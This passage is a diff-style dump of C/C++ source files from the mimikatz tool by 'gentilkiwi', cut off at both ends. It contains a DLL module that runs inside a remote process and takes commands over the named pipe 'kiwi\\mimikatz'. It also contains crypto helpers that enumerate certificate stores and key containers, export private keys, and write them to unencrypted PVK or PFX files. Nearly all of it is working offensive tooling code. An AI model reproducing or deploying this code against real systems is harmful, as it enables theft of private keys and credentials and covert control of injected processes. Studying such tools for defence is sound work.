typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_KEY) (__in NCRYPT_PROV_HANDLE hProvider, __out NCRYPT_KEY_HANDLE *phKey, __in LPCWSTR pszKeyName, __in DWORD dwLegacyKeySpec, __in DWORD dwFlags);
typedef SECURITY_STATUS (WINAPI * PNCRYPT_EXPORT_KEY) (__in NCRYPT_KEY_HANDLE hKey, __in_opt NCRYPT_KEY_HANDLE hExportKey, __in LPCWSTR pszBlobType, __in_opt NCryptBufferDesc *pParameterList, __out_opt PBYTE pbOutput, __in DWORD cbOutput, __out DWORD *pcbResult, __in DWORD dwFlags);
typedef SECURITY_STATUS (WINAPI * PNCRYPT_GET_PROPERTY) (__in NCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PBYTE pbOutput, __in DWORD cbOutput, __out DWORD * pcbResult, __in DWORD dwFlags);
typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_BUFFER) (__deref PVOID pvInput);
typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_OBJECT) (__in NCRYPT_HANDLE hObject);
typedef NTSTATUS (WINAPI * PBCRYPT_ENUM_REGISTERED_PROVIDERS)(__inout ULONG* pcbBuffer, __deref_opt_inout_bcount_part_opt(*pcbBuffer, *pcbBuffer) PCRYPT_PROVIDERS *ppBuffer);
typedef VOID (WINAPI * PBCRYPT_FREE_BUFFER) (__in PVOID pvBuffer);
typedef NTSTATUS (WINAPI * PBCRYPT_OPEN_ALGORITHM_PROVIDER) (__out BCRYPT_ALG_HANDLE *phAlgorithm, __in LPCWSTR pszAlgId, __in_opt LPCWSTR pszImplementation, __in ULONG dwFlags);
typedef NTSTATUS (WINAPI * PBCRYPT_SET_PROPERTY) (__inout BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __in_bcount(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in ULONG dwFlags);
typedef NTSTATUS (WINAPI * PBCRYPT_GET_PROPERTY) (__in BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags);
typedef NTSTATUS (WINAPI * PBCRYPT_GENERATE_SYMMETRIC_KEY) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __out BCRYPT_KEY_HANDLE *phKey, __out_bcount_full_opt(cbKeyObject) PUCHAR pbKeyObject, __in ULONG cbKeyObject, __in_bcount(cbSecret) PUCHAR pbSecret, __in ULONG cbSecret, __in ULONG dwFlags);
typedef NTSTATUS (WINAPI * PBCRYTP_DESTROY_KEY) (__inout BCRYPT_KEY_HANDLE hKey);
typedef NTSTATUS (WINAPI * PBCRYTP_CLOSE_ALGORITHM_PROVIDER) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __in ULONG dwFlags);
/* Rtl* */
#define RtlEqualLuid(L1, L2) (((L1)->LowPart == (L2)->LowPart) && ((L1)->HighPart == (L2)->HighPart))
typedef NTSTATUS (WINAPI * PRTL_CREATE_USER_THREAD) (__in HANDLE Process, __in_opt PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, __in char Flags, __in_opt ULONG ZeroBits, __in_opt SIZE_T MaximumStackSize, __in_opt SIZE_T CommittedStackSize, __in PTHREAD_START_ROUTINE StartAddress, __in_opt PVOID Parameter, __out_opt PHANDLE Thread, __out_opt PCLIENT_ID ClientId);
typedef VOID (WINAPI * PRTL_INIT_STRING) (PSTRING DestinationString, PCSTR SourceString);
typedef VOID (WINAPI * PRTL_INIT_UNICODESTRING) (PUNICODE_STRING DestinationString, PCWSTR SourceString);
typedef NTSTATUS (WINAPI * PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING) (POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString);
typedef VOID (WINAPI * PRTL_FREE_OEM_STRING) (POEM_STRING OemString);
typedef PVOID (WINAPI * PRTL_LOOKUP_ELEMENT_GENERIC_TABLE_AV) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer);
typedef enum _RTL_GENERIC_COMPARE_RESULTS (WINAPI * PRTL_AVL_COMPARE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID FirstStruct, __in PVOID SecondStruct);
typedef PVOID (WINAPI * PRTL_AVL_ALLOCATE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in CLONG ByteSize);
typedef VOID (WINAPI * PRTL_AVL_FREE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer);
typedef struct _RTL_BALANCED_LINKS {
struct _RTL_BALANCED_LINKS *Parent;
struct _RTL_BALANCED_LINKS *LeftChild;
struct _RTL_BALANCED_LINKS *RightChild;
CHAR Balance;
UCHAR Reserved[3];
} RTL_BALANCED_LINKS;
typedef RTL_BALANCED_LINKS *PRTL_BALANCED_LINKS;
typedef enum _RTL_GENERIC_COMPARE_RESULTS {
GenericLessThan,
GenericGreaterThan,
GenericEqual
} RTL_GENERIC_COMPARE_RESULTS;
typedef struct _RTL_AVL_TABLE {
RTL_BALANCED_LINKS BalancedRoot;
PVOID OrderedPointer;
ULONG WhichOrderedElement;
ULONG NumberGenericTableElements;
ULONG DepthOfTree;
PRTL_BALANCED_LINKS RestartKey;
ULONG DeleteCount;
PRTL_AVL_COMPARE_ROUTINE CompareRoutine;
PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine;
PRTL_AVL_FREE_ROUTINE FreeRoutine;
PVOID TableContext;
} RTL_AVL_TABLE, *PRTL_AVL_TABLE;

View File

@ -0,0 +1,139 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "kmodel.h"
HMODULE g_hModule = NULL;
/*
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
g_hModule = hModule;
HANDLE hThread = CreateThread(NULL, 0, &ThreadProc, NULL, 0, NULL);
if(hThread && hThread != INVALID_HANDLE_VALUE)
{
return CloseHandle(hThread);
}
}
return TRUE;
}*/
DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
mod_pipe * monCommunicator = new mod_pipe(L"kiwi\\mimikatz");
bool succes = false;
for(DWORD nbRetry = 1; nbRetry <= 5 && !succes; nbRetry++)
{
succes = monCommunicator->createClient();
if(!succes)
{
Sleep(3000);
}
}
if(succes)
{
ptrFunctionString maFonctionString = reinterpret_cast<ptrFunctionString>(GetProcAddress(g_hModule, "getDescription"));
wstring monBuffer = L"Bienvenue dans un processus distant\n\t\t\tGentil Kiwi";
if(maFonctionString)
{
wstring * maDescription = new wstring();
if(maFonctionString(maDescription))
{
monBuffer.append(L"\n\n");
monBuffer.append(*maDescription);
}
delete maDescription;
}
if(monCommunicator->writeToPipe(monBuffer))
{
for(;;)
{
if(monCommunicator->readFromPipe(monBuffer))
{
wstring fonction = monBuffer;
vector<wstring> arguments;
size_t monIndex = fonction.find(L' ');
if(monIndex != wstring::npos)
{
arguments = mod_parseur::parse(fonction.substr(monIndex + 1));
fonction = fonction.substr(0, monIndex);
}
string procDll(fonction.begin(), fonction.end());
ptrFunction maFonction = reinterpret_cast<ptrFunction>(GetProcAddress(g_hModule, procDll.c_str()));
if(maFonction)
{
if(maFonction(monCommunicator, &arguments))
{
monBuffer = L"@";
}
else // La fonction à retourné FALSE, il y a donc anomalie bloquante sur le canal
{
break;
}
}
else
{
monBuffer = L"@Méthode \'";
monBuffer.append(fonction);
monBuffer.append(L"\' introuvable !\n");
}
if(!monCommunicator->writeToPipe(monBuffer))
{
break;
}
}
else
{
break;
}
}
}
}
delete monCommunicator;
FreeLibraryAndExitThread(g_hModule, 0);
return 0;
}
bool sendTo(mod_pipe * monPipe, wstring message)
{
wstring reponse = L"#";
reponse.append(message);
return monPipe->writeToPipe(reponse);
}
__kextdll bool __cdecl ping(mod_pipe * monPipe, vector<wstring> * mesArguments)
{
bool sendOk = sendTo(monPipe, L"pong");
for(vector<wstring>::iterator monArgument = mesArguments->begin(); monArgument != mesArguments->end() && sendOk; monArgument++)
{
wstring maReponse = L" - argument:";
maReponse.append(*monArgument);
sendOk = sendTo(monPipe, maReponse);
}
if(sendOk)
sendOk = sendTo(monPipe, L"\n");
return sendOk;
}

View File

@ -0,0 +1,21 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_pipe.h"
#include "mod_parseur.h"
#define __kextdll extern "C" __declspec(dllexport)
typedef bool (__cdecl * ptrFunction) (mod_pipe * monPipe, vector<wstring> * mesArguments);
typedef bool (__cdecl * ptrFunctionString) (wstring * maDescription);
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved);
DWORD WINAPI ThreadProc(LPVOID lpParameter);
bool sendTo(mod_pipe * monPipe, wstring message);
__kextdll bool __cdecl ping(mod_pipe * monPipe, vector<wstring> * mesArguments);

View File

@ -0,0 +1,240 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_crypto.h"
bool mod_crypto::getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore)
{
map<wstring, DWORD> mesEmplacements;
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER", CERT_SYSTEM_STORE_CURRENT_USER));
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY", CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY));
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE", CERT_SYSTEM_STORE_LOCAL_MACHINE));
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY", CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY));
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE", CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE));
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_SERVICE", CERT_SYSTEM_STORE_CURRENT_SERVICE));
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_USERS", CERT_SYSTEM_STORE_USERS));
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_SERVICES", CERT_SYSTEM_STORE_SERVICES));
map<wstring, DWORD>::iterator monIterateur = mesEmplacements.find(strSystemStore);
if(monIterateur != mesEmplacements.end())
{
*systemStore = monIterateur->second;
return true;
}
else return false;
}
BOOL WINAPI mod_crypto::enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg)
{
reinterpret_cast<vector<wstring> *>(pvArg)->push_back(reinterpret_cast<const wchar_t *>(pvSystemStore));
return TRUE;
}
bool mod_crypto::getVectorSystemStores(vector<wstring> * maSystemStoresvector, DWORD systemStore)
{
return (CertEnumSystemStore(systemStore, NULL, maSystemStoresvector, enumSysCallback) != 0);
}
bool mod_crypto::getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName)
{
bool reussite = false;
wchar_t * monBuffer = NULL;
DWORD maRecherche[] = {CERT_NAME_FRIENDLY_DISPLAY_TYPE, CERT_NAME_DNS_TYPE, CERT_NAME_EMAIL_TYPE, CERT_NAME_UPN_TYPE, CERT_NAME_URL_TYPE};
for(DWORD i = 0; !reussite && (i < (sizeof(maRecherche) / sizeof(DWORD))); i++)
{
DWORD tailleRequise = CertGetNameString(certCTX, maRecherche[i], 0, NULL, NULL, 0);
if(tailleRequise > 1)
{
monBuffer = new wchar_t[tailleRequise];
reussite = CertGetNameString(certCTX, maRecherche[i], 0, NULL, monBuffer, tailleRequise) > 1;
certName->assign(monBuffer);
delete[] monBuffer;
}
}
return reussite;
}
bool mod_crypto::getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo)
{
bool reussite = false;
DWORD taille = 0;
if(CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, NULL, &taille))
{
BYTE * monBuffer = new BYTE[taille];
if(reussite = (CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, monBuffer, &taille) != 0))
{
CRYPT_KEY_PROV_INFO * mesInfos = reinterpret_cast<CRYPT_KEY_PROV_INFO *>(monBuffer);
keyProvInfo->pwszProvName.assign(mesInfos->pwszProvName ? mesInfos->pwszProvName : L"(null)");
keyProvInfo->pwszContainerName.assign(mesInfos->pwszContainerName ? mesInfos->pwszContainerName : L"(null)");
keyProvInfo->cProvParam = mesInfos->cProvParam;
keyProvInfo->dwFlags = mesInfos->dwFlags;
keyProvInfo->dwKeySpec = mesInfos->dwKeySpec;
keyProvInfo->dwProvType = mesInfos->dwProvType;
}
delete[] monBuffer;
}
return reussite;
}
bool mod_crypto::CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password)
{
bool retour = false;
HCERTSTORE hTempStore = CertOpenStore(CERT_STORE_PROV_MEMORY, 0, NULL, CERT_STORE_CREATE_NEW_FLAG, NULL);
PCCERT_CONTEXT pCertContextCopy = NULL;
if(CertAddCertificateContextToStore(hTempStore, certCTX, CERT_STORE_ADD_NEW, &pCertContextCopy))
{
CRYPT_DATA_BLOB bDataBlob = {0, NULL};
if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY))
{
bDataBlob.pbData = new BYTE[bDataBlob.cbData];
if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY))
{
HANDLE hFile = CreateFile(pfxFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if(hFile && hFile != INVALID_HANDLE_VALUE)
{
DWORD dwBytesWritten;
if(WriteFile(hFile, bDataBlob.pbData, bDataBlob.cbData, &dwBytesWritten, NULL) && (bDataBlob.cbData == dwBytesWritten))
{
retour = FlushFileBuffers(hFile) != 0;
}
CloseHandle(hFile);
}
}
delete[] bDataBlob.pbData;
}
CertFreeCertificateContext(pCertContextCopy);
}
CertCloseStore(hTempStore, CERT_CLOSE_STORE_FORCE_FLAG);
return retour;
}
bool mod_crypto::CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile)
{
bool retour = false;
HANDLE hFile = CreateFile(DERFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if(hFile && hFile != INVALID_HANDLE_VALUE)
{
DWORD dwBytesWritten;
if(WriteFile(hFile, certCTX->pbCertEncoded, certCTX->cbCertEncoded, &dwBytesWritten, NULL) && certCTX->cbCertEncoded == dwBytesWritten)
{
retour = FlushFileBuffers(hFile) != 0;
}
CloseHandle(hFile);
}
return retour;
}
wstring mod_crypto::KeyTypeToString(DWORD keyType)
{
wostringstream keyTypeStr;
switch (keyType)
{
case AT_KEYEXCHANGE:
keyTypeStr << L"AT_KEYEXCHANGE";
break;
case AT_SIGNATURE:
keyTypeStr << L"AT_SIGNATURE";
break;
default:
keyTypeStr << L"? (" << hex << keyType << L")";
}
return keyTypeStr.str();
}
bool mod_crypto::PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec)
{
bool retour = false;
FILE_HDR monHeader = {PVK_MAGIC, PVK_FILE_VERSION_0, keySpec, PVK_NO_ENCRYPT, 0, tailleExport};
HANDLE hFile = CreateFile(pvkFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if(hFile && hFile != INVALID_HANDLE_VALUE)
{
DWORD dwBytesWritten;
if(WriteFile(hFile, &monHeader, sizeof(monHeader), &dwBytesWritten, NULL) && (sizeof(monHeader) == dwBytesWritten))
{
if(WriteFile(hFile, monExport, tailleExport, &dwBytesWritten, NULL) && (tailleExport == dwBytesWritten))
{
retour = FlushFileBuffers(hFile) != 0;
}
}
CloseHandle(hFile);
}
return retour;
}
bool mod_crypto::genericDecrypt(BYTE * data, SIZE_T dataSize, const BYTE * key, SIZE_T keySize, ALG_ID algorithme, BYTE * destBuffer, SIZE_T destBufferSize)
{
bool retour = false;
HCRYPTPROV hCryptProv = NULL;
HCRYPTKEY hKey = NULL;
PBYTE buffer = data;
DWORD dwWorkingBufferLength = dataSize;
if(destBuffer && destBufferSize >= dataSize)
{
RtlCopyMemory(destBuffer, data, dataSize);
buffer = destBuffer;
}
if((algorithme == CALG_RC4) && (keySize > 16))
{
fullRC4(buffer, dataSize, key, keySize);
retour = true;
}
else
{
if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
{
GENERICKEY_BLOB myKeyHead = {{PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, algorithme}, keySize};
BYTE * myKey = new BYTE[sizeof(GENERICKEY_BLOB) + keySize];
RtlCopyMemory(myKey, &myKeyHead, sizeof(GENERICKEY_BLOB));
RtlCopyMemory(myKey + sizeof(GENERICKEY_BLOB), key, keySize);
if(CryptImportKey(hCryptProv, myKey, sizeof(GENERICKEY_BLOB) + keySize, 0, CRYPT_EXPORTABLE, &hKey))
{
if(CryptDecrypt(hKey, NULL, TRUE, 0, buffer, &dwWorkingBufferLength) || ((algorithme == CALG_DES) && (GetLastError() == NTE_BAD_DATA))) // évite les erreurs de parités http://support.microsoft.com/kb/331367/
retour = (dwWorkingBufferLength == dataSize);
CryptDestroyKey(hKey);
}
delete[] myKey;
CryptReleaseContext(hCryptProv, 0);
}
}
return retour;
}
void mod_crypto::fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen) // pour les clés >= 128 bits (16 octets)
{
ULONG i, j, k = 0, kpos = 0;
BYTE S[256], *pos = data;
for (i = 0; i < 256; i++)
S[i] = static_cast<BYTE>(i);
for (i = 0, j = 0; i < 256; i++)
{
j = (j + S[i] + key[kpos]) & 0xff;
kpos++;
if (kpos >= keylen)
kpos = 0;
S_SWAP(i, j);
}
for (i = 0, j = 0; k < data_len; k++)
{
i = (i + 1) & 0xff;
j = (j + S[i]) & 0xff;
S_SWAP(i, j);
*pos++ ^= S[(S[i] + S[j]) & 0xff];
}
}

View File

@ -0,0 +1,68 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include <wincrypt.h>
#include <sstream>
#include <map>
#define PVK_FILE_VERSION_0 0
#define PVK_MAGIC 0xb0b5f11e // bob's file
#define PVK_NO_ENCRYPT 0
#define PVK_RC4_PASSWORD_ENCRYPT 1
#define PVK_RC2_CBC_PASSWORD_ENCRYPT 2
class mod_crypto
{
public:
typedef struct _KIWI_KEY_PROV_INFO {
std::wstring pwszContainerName;
std::wstring pwszProvName;
DWORD dwProvType;
DWORD dwFlags;
DWORD cProvParam;
DWORD dwKeySpec;
} KIWI_KEY_PROV_INFO, *PKIWI_KEY_PROV_INFO;
private:
typedef struct _GENERICKEY_BLOB {
BLOBHEADER BlobHeader;
DWORD dwKeyLen;
} GENERICKEY_BLOB, *PGENERICKEY_BLOB;
typedef struct _FILE_HDR {
DWORD dwMagic;
DWORD dwVersion;
DWORD dwKeySpec;
DWORD dwEncryptType;
DWORD cbEncryptData;
DWORD cbPvk;
} FILE_HDR, *PFILE_HDR;
static BOOL WINAPI enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg);
public:
static bool getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore);
static bool getVectorSystemStores(vector<wstring> * maSystemStoresvector, DWORD systemStore = CERT_SYSTEM_STORE_CURRENT_USER);
static bool getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName);
static bool getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo);
static bool PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec = AT_KEYEXCHANGE);
static bool CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password);
static bool CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile);
static wstring KeyTypeToString(DWORD keyType);
static bool genericDecrypt(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen, ALG_ID algorithme, BYTE * destBuffer = NULL, SIZE_T destBufferSize = 0);
static void fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen); // keysize >= 128 bits (16 bytes)
};
extern "C" {
WINCRYPT32API
BOOL
WINAPI CertCloseStore(
__in_opt HCERTSTORE hCertStore,
__in DWORD dwFlags
); }

View File

@ -0,0 +1,138 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_cryptoapi.h"
HMODULE mod_cryptoapi::hRsaEng = NULL;
bool mod_cryptoapi::loadRsaEnh()
{
if(!hRsaEng)
hRsaEng = LoadLibrary(L"rsaenh");
return (hRsaEng != NULL);
}
bool mod_cryptoapi::unloadRsaEnh()
{
if(hRsaEng)
FreeLibrary(hRsaEng);
return true;
}
bool mod_cryptoapi::getProviderString(wstring ProviderName, wstring * Provider)
{
map<wstring, wstring> mesProviders;
mesProviders.insert(make_pair(L"MS_DEF_PROV", MS_DEF_PROV));
mesProviders.insert(make_pair(L"MS_ENHANCED_PROV", MS_ENHANCED_PROV));
mesProviders.insert(make_pair(L"MS_STRONG_PROV", MS_STRONG_PROV));
mesProviders.insert(make_pair(L"MS_DEF_RSA_SIG_PROV", MS_DEF_RSA_SIG_PROV));
mesProviders.insert(make_pair(L"MS_DEF_RSA_SCHANNEL_PROV", MS_DEF_RSA_SCHANNEL_PROV));
mesProviders.insert(make_pair(L"MS_DEF_DSS_PROV", MS_DEF_DSS_PROV));
mesProviders.insert(make_pair(L"MS_DEF_DSS_DH_PROV", MS_DEF_DSS_DH_PROV));
mesProviders.insert(make_pair(L"MS_ENH_DSS_DH_PROV", MS_ENH_DSS_DH_PROV));
mesProviders.insert(make_pair(L"MS_DEF_DH_SCHANNEL_PROV", MS_DEF_DH_SCHANNEL_PROV));
mesProviders.insert(make_pair(L"MS_SCARD_PROV", MS_SCARD_PROV));
mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV", MS_ENH_RSA_AES_PROV));
mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV_XP", MS_ENH_RSA_AES_PROV_XP));
map<wstring, wstring>::iterator monIterateur = mesProviders.find(ProviderName);
*Provider = (monIterateur != mesProviders.end()) ? monIterateur->second : ProviderName;
return true;
}
bool mod_cryptoapi::getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType)
{
map<wstring, DWORD> mesTypes;
mesTypes.insert(make_pair(L"PROV_RSA_FULL", PROV_RSA_FULL));
mesTypes.insert(make_pair(L"PROV_RSA_SIG", PROV_RSA_SIG));
mesTypes.insert(make_pair(L"PROV_DSS", PROV_DSS));
mesTypes.insert(make_pair(L"PROV_FORTEZZA", PROV_FORTEZZA));
mesTypes.insert(make_pair(L"PROV_MS_EXCHANGE", PROV_MS_EXCHANGE));
mesTypes.insert(make_pair(L"PROV_SSL", PROV_SSL));
mesTypes.insert(make_pair(L"PROV_RSA_SCHANNEL", PROV_RSA_SCHANNEL));
mesTypes.insert(make_pair(L"PROV_DSS_DH", PROV_DSS_DH));
mesTypes.insert(make_pair(L"PROV_EC_ECDSA_SIG", PROV_EC_ECDSA_SIG));
mesTypes.insert(make_pair(L"PROV_EC_ECNRA_SIG", PROV_EC_ECNRA_SIG));
mesTypes.insert(make_pair(L"PROV_EC_ECDSA_FULL",PROV_EC_ECDSA_FULL));
mesTypes.insert(make_pair(L"PROV_EC_ECNRA_FULL",PROV_EC_ECNRA_FULL));
mesTypes.insert(make_pair(L"PROV_DH_SCHANNEL", PROV_DH_SCHANNEL));
mesTypes.insert(make_pair(L"PROV_SPYRUS_LYNKS", PROV_SPYRUS_LYNKS));
mesTypes.insert(make_pair(L"PROV_RNG", PROV_RNG));
mesTypes.insert(make_pair(L"PROV_INTEL_SEC", PROV_INTEL_SEC));
mesTypes.insert(make_pair(L"PROV_REPLACE_OWF", PROV_REPLACE_OWF));
mesTypes.insert(make_pair(L"PROV_RSA_AES", PROV_RSA_AES));
map<wstring, DWORD>::iterator monIterateur = mesTypes.find(ProviderTypeName);
if(monIterateur != mesTypes.end())
{
*ProviderType = monIterateur->second;
return true;
}
else return false;
}
bool mod_cryptoapi::getVectorProviders(vector<wstring> * monVectorProviders)
{
DWORD index = 0;
DWORD provType;
DWORD tailleRequise;
while(CryptEnumProviders(index, NULL, 0, &provType, NULL, &tailleRequise))
{
wchar_t * monProvider = new wchar_t[tailleRequise];
if(CryptEnumProviders(index, NULL, 0, &provType, monProvider, &tailleRequise))
{
monVectorProviders->push_back(monProvider);
}
delete[] monProvider;
index++;
}
return (GetLastError() == ERROR_NO_MORE_ITEMS);
}
bool mod_cryptoapi::getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine, wstring provider, DWORD providerType)
{
bool reussite = false;
HCRYPTPROV hCryptProv = NULL;
if(CryptAcquireContext(&hCryptProv, NULL, provider.c_str(), providerType, CRYPT_VERIFYCONTEXT | (isMachine ? CRYPT_MACHINE_KEYSET : NULL)))
{
DWORD tailleRequise = 0;
char * containerName = NULL;
DWORD CRYPT_first_next = CRYPT_FIRST;
bool success = false;
success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, NULL, &tailleRequise, CRYPT_first_next) != 0);
while(success)
{
containerName = new char[tailleRequise];
if(success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, reinterpret_cast<BYTE *>(containerName), &tailleRequise, CRYPT_first_next) != 0))
{
wstringstream resultat;
resultat << containerName;
monVectorContainers->push_back(resultat.str());
}
delete[] containerName;
CRYPT_first_next = CRYPT_NEXT;
}
reussite = (GetLastError() == ERROR_NO_MORE_ITEMS);
CryptReleaseContext(hCryptProv, 0);
}
return reussite;
}
bool mod_cryptoapi::getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType)
{
bool reussite = false;
if(CryptExportKey(maCle, NULL, dwBlobType, NULL, NULL, tailleExport))
{
*monExport = new BYTE[*tailleExport];
if(!(reussite = (CryptExportKey(maCle, NULL, dwBlobType, NULL, *monExport, tailleExport) != 0)))
delete[] monExport;
}
return reussite;
}

View File

@ -0,0 +1,26 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include <wincrypt.h>
#include <sstream>
#include <map>
class mod_cryptoapi /* Ref : http://msdn.microsoft.com/en-us/library/aa380255.aspx */
{
private:
static HMODULE hRsaEng;
public:
static bool getProviderString(wstring ProviderName, wstring * Provider);
static bool getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType);
static bool getVectorProviders(vector<wstring> * monVectorProviders);
static bool getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine = false, wstring provider = MS_ENHANCED_PROV, DWORD providerType = PROV_RSA_FULL);
static bool getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType = PRIVATEKEYBLOB);
static bool loadRsaEnh();
static bool unloadRsaEnh();
};

View File

@ -0,0 +1,143 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_cryptong.h"
HMODULE hNcrypt = LoadLibrary(L"ncrypt");
PNCRYPT_OPEN_STORAGE_PROVIDER K_NCryptOpenStorageProvider = reinterpret_cast<PNCRYPT_OPEN_STORAGE_PROVIDER>(GetProcAddress(hNcrypt, "NCryptOpenStorageProvider"));
PNCRYPT_ENUM_KEYS K_NCryptEnumKeys = reinterpret_cast<PNCRYPT_ENUM_KEYS>(GetProcAddress(hNcrypt, "NCryptEnumKeys"));
PNCRYPT_OPEN_KEY K_NCryptOpenKey = reinterpret_cast<PNCRYPT_OPEN_KEY>(GetProcAddress(hNcrypt, "NCryptOpenKey"));
PNCRYPT_EXPORT_KEY K_NCryptExportKey = reinterpret_cast<PNCRYPT_EXPORT_KEY>(GetProcAddress(hNcrypt, "NCryptExportKey"));
PNCRYPT_GET_PROPERTY K_NCryptGetProperty = reinterpret_cast<PNCRYPT_GET_PROPERTY>(GetProcAddress(hNcrypt, "NCryptGetProperty"));
PNCRYPT_FREE_BUFFER K_NCryptFreeBuffer = reinterpret_cast<PNCRYPT_FREE_BUFFER>(GetProcAddress(hNcrypt, "NCryptFreeBuffer"));
